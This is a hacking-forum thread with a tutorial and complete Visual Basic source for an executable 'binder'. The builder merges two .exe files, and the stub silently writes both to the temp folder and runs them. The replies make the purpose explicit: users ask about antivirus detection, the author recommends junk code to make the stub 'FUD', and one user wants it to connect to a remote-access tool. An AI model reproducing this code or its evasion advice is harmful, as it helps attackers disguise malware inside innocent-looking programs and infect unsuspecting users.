[flAmingw0rm]

Heya HackForums,

Today I decided to write a tutorial on how to make your own binder in Visual Basic 2008. It's a simple crypter just binds 2 executable files. 🙂

BUILDER

Add the following forms:

2 buttons
2 textboxs

You're form should look like this:
[IMG]http://i40.[censored].com/2qtkaox.jpg[/IMG]


Okay, now double click the BUTTON 1 and type the following code:

Code

Dim ofd As New OpenFileDialog
        ofd.Title = ""
        ofd.Filter = "*.exe | *.exe"
        ofd.Title = "File 1"
        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName
        ofd.Title = "File 2"
        If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName

And then double click the BUTTON 2 and type this code:

Code

Dim stub, File_One, File_Two, Filename1, filename2 As String
        Const FileSplit = "47150"
        FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        File_One = Space(LOF(1))
        FileGet(1, File_One)
        FileClose(1)

        FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        File_Two = Space(LOF(2))
        FileGet(2, File_Two)
        FileClose(2)

        FileOpen(3, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(3))
        FileGet(3, stub)
        FileClose(3)
        Dim OutputFile As String
        Dim sfd As New SaveFileDialog
        sfd.Filter = "*.exe | *.exe"
        If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
            OutputFile = sfd.FileName
        Else : Exit Sub
        End If
        Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))
        filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))
        FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)
        FileClose(3)
        MsgBox("Binded")

Now you're done with builder, make a new form called "Stub".

STUB

Here we don't need any forms .. just click on the form and add the following code:

Code

On Error Resume Next
        Dim TPath As String = System.IO.Path.GetTempPath
        Const FileSplit = "47150"
        Dim file1, joesdaddy, filez() As String
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        file1 = Space(LOF(1))
        FileGet(1, file1)
        FileClose(1)
        filez = Split(file1, FileSplit)
        FileOpen(3, TPath & filez(3), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(3, filez(1))
        FileClose(3)
        FileOpen(5, TPath & filez(4), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(5, filez(2))
        FileClose(5)
        System.Diagnostics.Process.Start(TPath & filez(3))
        System.Diagnostics.Process.Start(TPath & filez(4))
        Me.Close()
        End

Note: You must use the same filesplit in builder and stub otherwise it won't work. My filesplit is "47150".

Credits:
flAmingw0rm - Tutorial
Nathan72389 - Source Code.

Thanks, post reply to keep the topic alive and give proper credits if you use this tutorial. If you need help on the codes also, just reply here and I will help you.

-flAmingw0rm

[ℋero]

Thanks for the tutorial. How UD is the stub?

[SIM-209986]

Thank you so much for this! You are the best! When i see my tuts and compare with urs, i am like wtf. you are the best.

[flAmingw0rm]

You're welcome V~I~R~U~S. 🙂

Odd Revenge, I don't know. But if you edit assembly it'd be low detection, try adding some junk codes also to make it bigger and it'd be FUD. That's what I did on my stub.

[Aw Ma Gawd]

nice thanks very much im making a finnish crypter for my mates :). ily for this.

[Sikandar]

nice tutorial dude
this is good for beginners
shame that it will just have the magic of "copy paste" though
thread rating added!

[GodWall]

Wow dude I just made a binder thanks :)

[flAmingw0rm]

nice tutorial dude
this is good for beginners
shame that it will just have the magic of "copy paste" though
thread rating added!

Yea, exactly. It takes 5 minutes or less to make the binder. 🙂

[Aw Ma Gawd]

it didn't work for me..the crypted file dosen't connect to my Metus :S just opens a "cmd like box".

if i'm doing anything wrong please tell me. thanks again.

[PAGMAN]

nice tut man. good job :)

[flAmingw0rm]

it didn't work for me..the crypted file dosen't connect to my Metus :S just opens a "cmd like box".

if i'm doing anything wrong please tell me. thanks again.

What are you talking about? Crypted file?

However, my binder supports only .exes. And it works...

Note: You must use the same filesplit in builder and stub otherwise it won't work. My filesplit is "47150".

[|i|i|i]

Wow thank you sooo much for this!

[0-day]

Nice TUT flAmingw0rm keep the G00d woRk up.

[Joey K]

Very basic, but very nice. Thanks for the share.

[flAmingw0rm]

You're welcome guys. As I said, this is just an example of binder, supports only .exes.